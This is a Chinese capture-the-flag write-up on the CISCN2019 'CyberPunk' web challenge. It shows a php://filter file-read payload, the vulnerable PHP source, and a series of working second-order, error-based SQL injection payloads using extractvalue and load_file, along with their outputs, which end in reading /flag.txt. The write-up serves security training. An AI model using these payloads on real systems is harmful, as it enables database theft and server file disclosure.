[CISCN2019 华北赛区 Day1 Web5]CyberPunk

文章目录

TRY

注册订单------姓名:a 电话:a' 地址:a ------成功

查询订单------姓名:a 电话:a' ------未找到订单

说明引号改变了查询语句。

查询时没有特别回显,注册时没有禁用union。

猜测是二次注入+联合注入。

写脚本跑的时候突然发现源码里面有提示<!--?file=?-->

好像能是文件读取。

直接file=php://filter/convert.base64-encode/resource=index.php得到
index.php

php 复制代码
<?php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
        echo('no way!');
        exit;
    }
    @include($file);
}
?>

直接读取 /flag 没有。

search.php:

php 复制代码
<?php

require_once "config.php"; 

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

禁用了select。另外这里的错误处理仅在 $row 获取失败时才处理错误,而没有对 SQL 查询本身的失败进行处理,所以也是不能进行报错注入的。

change.php:

php 复制代码
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

address = addslashes(_POST["address"]);

它会对字符串 $str 中以下字符前添加反斜杠:

单引号(')

双引号(")

反斜杠(\)

NULL 字符(ASCII 0)

$result = d b − > q u e r y ( db->query( db−>query(sql);

if(!$result) {

echo 'error';

print_r($db->error);

exit;

}

这里的错误处理就是直接对查询语句的,而且没有禁用关键字。能利用报错注入。

但是引号被转义了,我们的输入又被拼接到单引号中,无法执行。

尝试利用分号破坏sql语句逃出引号。

a;(select extractvalue(1,concat(0x7e,(select database())))) ------ errorXPATH syntax error: '~ctfusers'

好像还真可以。

a;(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))) ------ errorXPATH syntax error: '~ctfusers'

a;(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="ctfusers")))) ------ errorXPATH syntax error: '~ctfusers'

结果不可能一样。换一个订单试试

发现又没有报错了...

插入不同注入语句却是相同结果,而且直接插入注入语句发现又没有报错。

怀疑报错的位置是old_address

"update user set address='". a d d r e s s . " ′ , ' o l d a d d r e s s ' = ′ " . address."', `old_address`='". address."′,'oldaddress'=′".row['address']."' where user_id=".$row['user_id'];

对address中的引号进行转义,可是old_address是直接从数据库中拿出来的,没有转义,尝试一下二次注入(第一次修改地址的时候插入注入语句,第二次修改地址的时候运行注入语句):

a'or(select extractvalue(1,concat(0x7e,(select database()))))

果然出现报错errorYou have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' where user_id=3' at line 1

重新构造:

a'or(select extractvalue(1,concat(0x7e,(select database()))))#

出现报错errorXPATH syntax error: '~ctfusers'

成功了

a'or(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_name="user"))))#

errorXPATH syntax error: '~user'

a'or(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="user"))))#

errorXPATH syntax error: '~Host,User,Password,Select_priv,'

a'or(select extractvalue(1,concat(0x7e,(select substr((group_concat(column_name)),25) from information_schema.columns where table_name="user"))))#

errorXPATH syntax error: '~t_priv,Insert_priv,Update_priv,'

后面还有好多字段根本看不完。反而没有看见有user_name,user_id,address什么的

a'or(select extractvalue(1,concat(0x7e,(select group_concat(Host)from user))))#

errorTruncated incorrect DOUBLE value: 'a'

关于数据类型的报错,有点奇怪。重来一次,结果还是一样。把a换成数字试试

1'or(select extractvalue(1,concat(0x7e,(select group_concat(Host)from user))))#

errorUnknown column 'Host' in 'field list'

奇怪,爆出来这个表中是有Host字段的。尝试一下其他字段,同样报错。

我天原来是我爆列名的时候

a'or(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))#

没有限定where table_schema=database(),然后正好凑巧该靶机中其他数据库也有user表

a'or(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="user"))))#

errorXPATH syntax error: '~user_id,address,old_address,use'

这才是想要的字段。

a'or(select extractvalue(1,concat(0x7e,(select substr((group_concat(column_name)),25) from information_schema.columns where table_schema=database() and table_name="user"))))#

errorXPATH syntax error: '~ess,user_name,phone'

a'or (select extractvalue(1,concat(0x7e,(select group_concat(user_id)from user))))#

errorTruncated incorrect DOUBLE value: 'a'

原因在于sql语句是update user set address='a', old_address='a'or (select extractvalue(1,concat(0x7e,(select group_concat(user_id)from user))))#

其中的等于号是赋值符号,整个 SET 子句的语义变成了:"将 address 字段设置为 'a' or (select ...) 这个表达式的结果值"。在进行 OR 逻辑运算时,MySQL会将操作数尝试转换为布尔值(在MySQL中,本质上是转换为数字)。它试图将字符串 'a' 转换为数字,于是触发了 Truncated incorrect DOUBLE value: 'a' 错误。

找了所有的字段都没有flag。

WP

flag在根目录中的flag.txt中,那mysql如何读文件呢?

利用**load_file()**函数:

1'or(select extractvalue(1,concat(0x7e,(select load_file("/flag.txt")))))#

errorXPATH syntax error: '~flag{0a2fdb81-c99e-4966-8a16-ae'

1'or(select extractvalue(1,concat(0x7e,(select substr(load_file("/flag.txt"),25)))))#

errorXPATH syntax error: '~8a16-ae98a1a6c065} '

Conclusion

看到这道题首先想的就是sql注入,浪费了不少时间,最后发现源码中有线索。因此下次见到此类题要先仔细找找线索。然后是代码审计,一开始并没有从拼接的sql语句中发现未经转义的old_address存在二次注入漏洞。